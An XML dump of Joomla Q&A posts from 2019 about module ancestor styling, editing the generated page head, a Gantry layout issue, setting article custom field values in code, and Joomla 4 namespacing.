  <row Id="26496" PostTypeId="1" AcceptedAnswerId="26501" CreationDate="2019-12-06T10:11:06.077" Score="-1" ViewCount="29" Body="&lt;p&gt;Not sure I'm wording this right so please forgive me.&#xA;I'm working on a situation where I want to apply the background to the 1st NON .container ancestor of my current module.&#xA;So, for example..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;moduletable bear&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would want to apply the background to the &quot;testimonials&quot; id.&#xA;the problem is the structure could look 4 different ways.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;moduletable bear&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;moduletable bear&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;moduletable bear&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;moduletable bear&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no way of knowing from inside the module as it would depend on the template and module position structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I &lt;strong&gt;THINK&lt;/strong&gt; I need is something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($parent == 'row') {&#xA;   if($grandparent == 'container'){&#xA;     $backgroundClass = $greatgrandparent;&#xA;    } else {&#xA;    $backgroundClass = $grandparent;&#xA;    }&#xA;elseif($parent == 'container'){&#xA; $backgroundClass = $grandparent&#xA;} else {&#xA;$backgroundClass = $parent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get this to work? The use case is to apply a background to the 1st NON-containered parent.  This is for bootstrap 3 if that makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="8065" LastEditorUserId="12352" LastEditDate="2019-12-07T02:37:58.477" LastActivityDate="2019-12-07T02:37:58.477" Title="How do I find the first NON bootstrap class ancestor of my current module position?" Tags="|joomla-3.x|php|javascript|jquery|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26497" PostTypeId="1" AcceptedAnswerId="26498" CreationDate="2019-12-06T10:53:48.163" Score="3" ViewCount="3482" Body="&lt;p&gt;I try to modify the generated &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of a Joomla website 3.9.13.&#xA;Unfortunately I faced on the famous &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;&#xA;How can I modify it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find any reference if this is built from database or php files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in source code there is that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- JDOC HEAD--&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&amp;lt;!-- JDOC HEAD--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in view source is that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- JDOC HEAD--&amp;gt;&#xA;&amp;lt;base href=&quot;https://xxxxx.gr/&quot; /&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;PanosK2&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;rights&quot; content=&quot;PanosK5&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;author&quot; content=&quot;PanosK4&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;xreference&quot; content=&quot;PanosK6&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;PanosK1&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Φωτο&amp;lt;/title&amp;gt;&#xA;&amp;lt;link href=&quot;/templates/tmpl/favicon.ico&quot; rel=&quot;shortcut icon&quot; type=&quot;image/vnd.microsoft.icon&quot; /&amp;gt;&#xA;&amp;lt;link href=&quot;https://xxxxx.gr/anazitisi?id=1&amp;amp;amp;format=opensearch&quot; rel=&quot;search&quot; title=&quot;Αναζήτηση&quot; type=&quot;application/opensearchdescription+xml&quot; /&amp;gt;&#xA;&amp;lt;link href=&quot;https://xxxxx.gr/media/com_uniterevolution2/assets/rs-plugin/css/settings.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link href=&quot;https://xxxxx.gr/media/com_uniterevolution2/assets/rs-plugin/css/dynamic-captions.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link href=&quot;https://xxxxx.gr/media/com_uniterevolution2/assets/rs-plugin/css/static-captions.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;script src=&quot;/media/system/js/html5fallback.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- JDOC HEAD--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example how can I find which extension (or php file) creates the last line?&lt;/p&gt;&#xA;" OwnerUserId="13965" LastEditorUserId="13965" LastEditDate="2019-12-09T14:51:51.723" LastActivityDate="2019-12-09T14:51:51.723" Title="Modification of the generated Joomla head (&lt;jdoc:include type=&quot;head&quot; /&gt;)" Tags="|joomla-3.9|header|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26498" PostTypeId="2" ParentId="26497" CreationDate="2019-12-06T12:34:38.393" Score="3" Body="&lt;p&gt;You get the `HtmlDocument' object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;// echo &quot;&amp;lt;br&amp;gt;&amp;lt;pre&amp;gt;&quot;; print_r($doc); echo &quot;&amp;lt;/pre&amp;gt;&quot;; // to check what you have here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get only the head Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$headData = $doc-&amp;gt;getHeadData();&#xA;$Title = $doc-&amp;gt;getTitle();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;setHeadData(array $data);&#xA;$doc-&amp;gt;setTitle('my title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can see all of the things you can do in this class here:&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.HtmlDocument.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.HtmlDocument.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.Document.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.Document.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On the updated part of your question:&lt;/strong&gt; In Joomla you do not really have to know which extension is adding a script in the head as far as deleting that script does not cause problems. And as I see in your case you are determined to delete that script from the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;of your site. I also do not know your expert level of PHP and Joomla thus I'd like to provide you two approaches here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First the simplest&lt;/strong&gt; and a bit hacky solution which is not recommended by more serious Joomla developers and the reason it is not recommended is mainly because you will write few lines directly in your template's &lt;code&gt;index.php&lt;/code&gt; file. If the template will be updated, your few lines of added code is going to be deleted too by the template update. But maybe you at the moment do not care about this and after the occurent template update you can still copy these few lines back in the &lt;code&gt;index.php&lt;/code&gt; file again if you would like to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, place these few lines of PHP code in your template's &lt;code&gt;index.php&lt;/code&gt; file right after the line: &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;_scripts['/media/system/js/html5fallback.js'])) {&#xA;    unset($this-&amp;gt;_scripts['/media/system/js/html5fallback.js']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will delete the unwanted script loading in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, the second and standard Joomla solution&lt;/strong&gt; for these kind of tasks is creating a Joomla &lt;strong&gt;system plugin&lt;/strong&gt; on the event: &lt;code&gt;'onBeforeCompileHead'&lt;/code&gt; which event is triggered in the &lt;strong&gt;HeadRenderer.php&lt;/strong&gt; file in Joomla which does what it's name suggests. (file location in Joomla: &lt;code&gt;libraries/src/Document/Renderer/Html/HeadRenderer.php&lt;/code&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since few weeks ago someone here has given a good example of this kind of plugin, I'll not repeat the code example of that plugin as it is quite self explanatory after a short time of studying these two posts here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The system plugin example:&lt;/strong&gt; &lt;a href=&quot;https://joomla.stackexchange.com/questions/26481/onafterrender-plugin-only-triggers-on-backend&quot;&gt;onAfterRender plugin only triggers on backend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And the plugin code part here&lt;/strong&gt; in this post's answer which you should use in your plugin and you can delete anything from the head with using this or something very similar plugin code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4953/how-can-i-completely-remove-bootstrap-from-the-frontend-of-joomla&quot;&gt;How can I completely remove Bootstrap from the frontend of Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy here the meat of this plugin though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemYourPlugin extends JPlugin&#xA;{&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;&#xA;        $doc = JFactory::getDocument();&#xA;&#xA;        // Remove the unwanted script&#xA;        if (isset($doc-&amp;gt;_scripts['/media/system/js/html5fallback.js'])) {&#xA;            unset($doc-&amp;gt;_scripts['/media/system/js/html5fallback.js']);&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This plugin&lt;/strong&gt; can be written very fast actually and if you would like to create one, you can study the subject more here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the above will help you more.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-12-07T18:21:25.720" LastActivityDate="2019-12-07T18:21:25.720" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26500" PostTypeId="2" ParentId="26497" CreationDate="2019-12-06T14:53:42.140" Score="0" Body="&lt;p&gt;Joomla has an HTMLHelper class that will let you do a lot of modifications to the head, depending upon what you want to do. You can use its methods directly or use the HTMLDocument class to access them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTMLDocument&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;addHeadLink lets you add a link element to the generated head.&lt;/li&gt;&#xA;&lt;li&gt;addCustomTag lets you add any HTML string to the head&lt;/li&gt;&#xA;&lt;li&gt;addFavicon lets to add a favicon link&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Document (HTMLDocument inherits from this)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;addScript and addScriptDeclaration add javascripts&lt;/li&gt;&#xA;&lt;li&gt;addStylesheet and addStyleDeclaration add CSS&lt;/li&gt;&#xA;&lt;li&gt;setCharset sets the character set&lt;/li&gt;&#xA;&lt;li&gt;setLang sets the language&lt;/li&gt;&#xA;&lt;li&gt;setTitle sets the document title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Without knowing what you're trying to do, it's hard to come up with a good answer, but I hope this gets you started towards your objective, anyway. Feel free to come back and edit your question with more details if you're looking to do something specific that this doesn't help with.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-12-06T14:53:42.140" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26501" PostTypeId="2" ParentId="26496" CreationDate="2019-12-06T15:07:31.453" Score="0" Body="&lt;p&gt;Ummm. PHP code inside a module has no access to nor knowledge of the markup that will eventually be wrapped around it. There's no telling what chrome a template override may put in place, and the module actually gets rendered before it does, so at the time the module PHP gets executed, the markup wrapping the module has yet to be determined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine a circumstance that makes something like what I &lt;em&gt;think&lt;/em&gt; you're trying to do a good solution to a problem (it's the sort of thing that will affect far more than just your module, which makes it dubious) but if it's the only way to solve your problem, your best course is to write a short javascript function that will walk the DOM up from your module to find the right element to work on. If the javascript needs access to information the PHP has, use the PHP to write the javascript, so it can put that data into javascript variables.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-12-06T15:07:31.453" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26502" PostTypeId="1" CreationDate="2019-12-07T12:49:10.483" Score="3" ViewCount="77" Body="&lt;p&gt;I am trying to build a regional blog/magazine. The home page layout which came as almost default with Gantry is satisfying. I am using &lt;code&gt;XAMPP&lt;/code&gt; on &lt;code&gt;Ubuntu 18.04.3&lt;/code&gt; and &lt;code&gt;Joomla 3.9.13&lt;/code&gt; and &lt;code&gt;Gantry 5.4.31&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Issue no. 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have 4 columns in the home page which is fine, but when the 5 th article is shown through pagination - &lt;code&gt;next&lt;/code&gt;, it takes 2 column width. Shouldn't it be 1/4 of the page as page layout is 4 columns ?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Issue no. 2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When I click on an article to read it, it works fine. But below the whole home page content is visible. Is there any way to fix it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the front end layout issues in GIF 1 and back-end in pictures 1 and 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GIF 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/A2YdhaG.gif&quot; alt=&quot;front-end&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pic 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0PTdI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0PTdI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pic 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8bJMk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8bJMk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13968" LastEditorUserId="13968" LastEditDate="2019-12-07T13:10:08.947" LastActivityDate="2022-10-16T07:11:48.887" Title="Joomla 3.9 + Gantry 5.4.31 mismatch layout issue on localhost" Tags="|articles|joomla-3.9|gantry|localhost|xampp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26503" PostTypeId="1" AcceptedAnswerId="26505" CreationDate="2019-12-07T20:47:23.243" Score="1" ViewCount="544" Body="&lt;p&gt;I added some custom fields to the articles of my Joomla website:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0YNjW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0YNjW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I work on a custom Joomla module that creates new articles programmatically using the below code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static function createArticle(GNGLocation $loc, GNGLang $lang, $title, $alias, $intro, $summary, $imageStr) {&#xA;&#xA;$table = JTable::getInstance('Content', 'JTable', array());&#xA;&#xA;$jcat = $loc-&amp;gt;get('jcat_id_tour');&#xA;$jlang = $lang-&amp;gt;get('joomlaName');&#xA;&#xA;$data = array(&#xA;    'catid' =&amp;gt; $jcat,&#xA;    'title' =&amp;gt; $title,&#xA;    'alias' =&amp;gt;  $alias,&#xA;    'language' =&amp;gt; $jlang,&#xA;    'introtext' =&amp;gt; $summary,&#xA;    'fulltext' =&amp;gt; $intro,&#xA;    'state' =&amp;gt; 0,&#xA;);&#xA;&#xA;// Bind data&#xA;if (!$table-&amp;gt;bind($data))&#xA;{&#xA;    throw new Exception(&quot;Failed to bind article data. Error: &quot; . $table-&amp;gt;getError());&#xA;}&#xA;&#xA;// Check the data.&#xA;if (!$table-&amp;gt;check())&#xA;{&#xA;    throw new Exception(&quot;Failed to check article data. Error: &quot; . $table-&amp;gt;getError());&#xA;}&#xA;&#xA;// Store the data.&#xA;if (!$table-&amp;gt;store())&#xA;{&#xA;    throw new Exception(&quot;Failed to store article data. Error: &quot; . $table-&amp;gt;getError());&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, creates the new article, but I could not find a way to also write the values of the custom fields that belong to the article. This is what I tried so far, based on &lt;a href=&quot;https://joomla.stackexchange.com/questions/26322/how-to-programmatically-set-the-value-of-a-custom-field-of-type-checkbox&quot;&gt;this post&lt;/a&gt;, but it does not seem to work, &lt;strong&gt;meaning that when I go to the article in the backend and check the custom fields they are still empty. No error message or whatsoever:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models');&#xA;&#xA;    $model =&amp;amp; JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;    $appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;    $model-&amp;gt;setState('params', $appParams);&#xA;    $item =&amp;amp; $model-&amp;gt;getItem($table-&amp;gt;id);&#xA;&#xA;&#xA;    $custom_fields = FieldsHelper::getFields('com_content.article',  $item, True);&#xA;    $custom_fields_by_name = \Joomla\Utilities\ArrayHelper::pivot($custom_fields, 'name');&#xA;    $your_custom_field_value = 'haliho';&#xA;&#xA;    $model_field = JModelLegacy::getInstance('Field', 'FieldsModel', ['ignore_request' =&amp;gt; true]);&#xA;    $model_field-&amp;gt;setFieldValue(&#xA;        $custom_fields_by_name['excluded']-&amp;gt;id,&#xA;        $item-&amp;gt;id,&#xA;        $your_custom_field_value&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;running the following line, gives the below diagnostics:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;pre&amp;gt;&quot; . json_encode($custom_fields_by_name, JSON_PRETTY_PRINT). &quot;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&quot; . $custom_fields_by_name['excluded']-&amp;gt;id . &quot;&amp;lt;br&amp;gt;&quot; . $item-&amp;gt;id , 'info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info&#xA;{&#xA;    &quot;included&quot;: {&#xA;        &quot;id&quot;: &quot;2&quot;,&#xA;        &quot;title&quot;: &quot;Included&quot;,&#xA;        &quot;name&quot;: &quot;included&quot;,&#xA;        &quot;checked_out&quot;: &quot;0&quot;,&#xA;        &quot;checked_out_time&quot;: &quot;0000-00-00 00:00:00&quot;,&#xA;        &quot;note&quot;: &quot;&quot;,&#xA;        &quot;state&quot;: &quot;1&quot;,&#xA;        &quot;access&quot;: &quot;1&quot;,&#xA;        &quot;created_time&quot;: &quot;2019-11-24 16:10:18&quot;,&#xA;        &quot;created_user_id&quot;: &quot;919&quot;,&#xA;        &quot;ordering&quot;: &quot;0&quot;,&#xA;        &quot;language&quot;: &quot;*&quot;,&#xA;        &quot;fieldparams&quot;: {&#xA;            &quot;filter&quot;: &quot;&quot;,&#xA;            &quot;maxlength&quot;: &quot;&quot;&#xA;        },&#xA;        &quot;params&quot;: {&#xA;            &quot;hint&quot;: &quot;&quot;,&#xA;            &quot;class&quot;: &quot;&quot;,&#xA;            &quot;label_class&quot;: &quot;&quot;,&#xA;            &quot;show_on&quot;: &quot;&quot;,&#xA;            &quot;render_class&quot;: &quot;&quot;,&#xA;            &quot;showlabel&quot;: &quot;1&quot;,&#xA;            &quot;label_render_class&quot;: &quot;&quot;,&#xA;            &quot;display&quot;: &quot;0&quot;,&#xA;            &quot;layout&quot;: &quot;&quot;,&#xA;            &quot;display_readonly&quot;: &quot;2&quot;&#xA;        },&#xA;        &quot;type&quot;: &quot;text&quot;,&#xA;        &quot;default_value&quot;: &quot;&quot;,&#xA;        &quot;context&quot;: &quot;com_content.article&quot;,&#xA;        &quot;group_id&quot;: &quot;1&quot;,&#xA;        &quot;label&quot;: &quot;Included&quot;,&#xA;        &quot;description&quot;: &quot;&quot;,&#xA;        &quot;required&quot;: &quot;0&quot;,&#xA;        &quot;language_title&quot;: null,&#xA;        &quot;language_image&quot;: null,&#xA;        &quot;editor&quot;: null,&#xA;        &quot;access_level&quot;: &quot;Public&quot;,&#xA;        &quot;author_name&quot;: &quot;Administrator&quot;,&#xA;        &quot;group_title&quot;: &quot;Tour Extension&quot;,&#xA;        &quot;group_access&quot;: &quot;1&quot;,&#xA;        &quot;group_state&quot;: &quot;1&quot;,&#xA;        &quot;group_note&quot;: &quot;&quot;,&#xA;        &quot;value&quot;: &quot;&quot;,&#xA;        &quot;rawvalue&quot;: &quot;&quot;&#xA;    },&#xA;    &quot;excluded&quot;: {&#xA;        &quot;id&quot;: &quot;3&quot;,&#xA;        &quot;title&quot;: &quot;Excluded&quot;,&#xA;        &quot;name&quot;: &quot;excluded&quot;,&#xA;        &quot;checked_out&quot;: &quot;0&quot;,&#xA;        &quot;checked_out_time&quot;: &quot;0000-00-00 00:00:00&quot;,&#xA;        &quot;note&quot;: &quot;&quot;,&#xA;        &quot;state&quot;: &quot;1&quot;,&#xA;        &quot;access&quot;: &quot;1&quot;,&#xA;        &quot;created_time&quot;: &quot;2019-12-01 14:40:45&quot;,&#xA;        &quot;created_user_id&quot;: &quot;919&quot;,&#xA;        &quot;ordering&quot;: &quot;0&quot;,&#xA;        &quot;language&quot;: &quot;*&quot;,&#xA;        &quot;fieldparams&quot;: {&#xA;            &quot;filter&quot;: &quot;&quot;,&#xA;            &quot;maxlength&quot;: &quot;&quot;&#xA;        },&#xA;        &quot;params&quot;: {&#xA;            &quot;hint&quot;: &quot;&quot;,&#xA;            &quot;class&quot;: &quot;&quot;,&#xA;            &quot;label_class&quot;: &quot;&quot;,&#xA;            &quot;show_on&quot;: &quot;&quot;,&#xA;            &quot;render_class&quot;: &quot;&quot;,&#xA;            &quot;showlabel&quot;: &quot;1&quot;,&#xA;            &quot;label_render_class&quot;: &quot;&quot;,&#xA;            &quot;display&quot;: &quot;0&quot;,&#xA;            &quot;layout&quot;: &quot;&quot;,&#xA;            &quot;display_readonly&quot;: &quot;2&quot;&#xA;        },&#xA;        &quot;type&quot;: &quot;text&quot;,&#xA;        &quot;default_value&quot;: &quot;&quot;,&#xA;        &quot;context&quot;: &quot;com_content.article&quot;,&#xA;        &quot;group_id&quot;: &quot;1&quot;,&#xA;        &quot;label&quot;: &quot;Excluded&quot;,&#xA;        &quot;description&quot;: &quot;&quot;,&#xA;        &quot;required&quot;: &quot;0&quot;,&#xA;        &quot;language_title&quot;: null,&#xA;        &quot;language_image&quot;: null,&#xA;        &quot;editor&quot;: null,&#xA;        &quot;access_level&quot;: &quot;Public&quot;,&#xA;        &quot;author_name&quot;: &quot;Administrator&quot;,&#xA;        &quot;group_title&quot;: &quot;Tour Extension&quot;,&#xA;        &quot;group_access&quot;: &quot;1&quot;,&#xA;        &quot;group_state&quot;: &quot;1&quot;,&#xA;        &quot;group_note&quot;: &quot;&quot;,&#xA;        &quot;value&quot;: &quot;&quot;,&#xA;        &quot;rawvalue&quot;: &quot;&quot;&#xA;    }&#xA;}&#xA;3&#xA;332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong, how should I do this?&lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12352" LastEditDate="2019-12-08T10:14:24.430" LastActivityDate="2019-12-09T15:43:58.267" Title="How to programmatically write Joomla article customs field values?" Tags="|joomla-3.x|articles|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26504" PostTypeId="1" AcceptedAnswerId="26543" CreationDate="2019-12-09T02:56:21.457" Score="2" ViewCount="1178" Body="&lt;p&gt;I've added the namespace line to my manifest xml: &lt;code&gt;&amp;lt;namespace&amp;gt;Mycompany\Component\Mycomponent&amp;lt;/namespace&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I install the component, I'm not seeing any alias added to the &lt;code&gt;libraries/vendor/composer/autoload_psr4.php&lt;/code&gt; -- should Joomla regenerate that file with each component installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other places (besides just the namespaces in the classes themselved) that I need to register my namespace?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-12-16T01:23:41.470" Title="Joomla 4 namespacing and autoloading" Tags="|custom-component|joomla-4.x|namespace|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26505" PostTypeId="2" ParentId="26503" CreationDate="2019-12-09T15:43:58.267" Score="1" Body="&lt;p&gt;I suspect it's because you are running the code under a Joomla user who doesn't have permission to set values for that 'excluded' custom field. Within the Joomla field model code for &lt;code&gt;setFieldValue()&lt;/code&gt; there's a call to &lt;code&gt;FieldsHelper::canEditFieldValue($field)&lt;/code&gt;&#xA;and if the Edit Custom Field Value permission for your user's group is not set to Allowed then the &lt;code&gt;setFieldValue()&lt;/code&gt; function will return false, but not output an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you try setting Public Allowed access on the action Edit Custom Field Value for this field, and see if that solves the problem. If you don't want to set this permanently like this, then you could override the &lt;code&gt;setFieldValue()&lt;/code&gt; method, using your own code which omits the permissions check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the code on my own instance, and it worked fine after I set the permission. And walking through the associated Joomla code with a debugger I didn't see any other lines that might have caused the problem. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-09T15:43:58.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
